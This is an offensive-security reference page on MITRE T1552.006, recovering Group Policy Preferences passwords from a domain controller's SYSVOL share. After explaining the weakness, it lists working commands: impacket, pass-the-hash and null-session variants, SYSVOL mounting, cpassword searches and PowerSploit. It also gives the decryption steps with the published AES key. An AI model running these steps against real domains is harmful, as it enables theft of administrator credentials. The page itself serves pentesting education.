Group Policy Preferences

MITRE ATT&CK™ Sub-technique T1552.006

Theory

Windows systems come with a built-in Administrator (with an RID of 500) that most organizations want to change the password of. This can be achieved in multiple ways but there is one that is to be avoided: setting the built-in Administrator's password through Group Policies.

Issue 1: the password is set to be the same for every (set of) machine(s) the Group Policy applies to. If the attacker finds the admin's hash or password, he can gain administrative access to all (or set of) machines.
Issue 2: by default, knowing the built-in Administrator's hash (RID 500) allows for powerful Pass-the-Hash attacks (read more).
Issue 3: all Group Policies are stored in the Domain Controllers' SYSVOL share. All domain users have read access to it. This means all domain users can read the encrypted password set in Group Policy Preferences, and since Microsoft published the encryption key around 2012, the password can be decrypted🤷‍♂️.

In 2015, Microsoft removed storing the encrypted password in the SYSVOL folder. It introduced the Local Administrator Password Solution (LAPS), which offers a much more secure approach to remotely managing the local administrator password.

Practice

From UNIX-like systems, the Get-GPPPassword.py (Python) script in the impacket examples can be used to remotely parse .xml files and loot for passwords.

# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

Alternatively, searching for passwords can be done manually (or with Metasploit's smb_enum_gpp module), however it requires mounting the SYSVOL share, which can't be done through a docker environment unless it's run with privileged rights.

Tools like pypykatz (Python) and gpp-decrypt (Ruby) can then be used to decrypt the matches.

# create the target directory for the mount
sudo mkdir /tmp/sysvol

# mount the SYSVOL share
sudo mount\
    -o domain='domain.local'\
    -o username='someuser'\
    -o password='password'\
    -t cifs\
    '//domain_controller/SYSVOL'\
    /tmp/sysvol

# recursively look for "cpassword" in Group Policies
sudo grep -ria cpassword /tmp/sysvol/'domain.local'/Policies/ 2>/dev/null

# decrypt the string and recover the password
pypykatz crypto gppass 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'

From Windows systems, the GPP password can only be recovered from an authenticated (i.e. domain user) context (see impersonation).

PowerSploit's Get-GPPPassword searches a Domain Controller's SYSVOL share Groups.xml, Services.xml, Scheduledtasks.xml, DataSources.xml, Printers.xml and Drives.xml files and returns plaintext passwords

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

This can also be achieved without tools, by "manually" looking for the cpassword string in xml files and by then manually decrypting the matches.

findstr /S cpassword %logonserver%\sysvol\*.xml

The decryption process is as follows

1. decode from base64
2. decrypt from AES-256-CBC the following hex key/iv
    Key : 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
    IV : 0000000000000000000000000000000
3. decode from UTF-16LE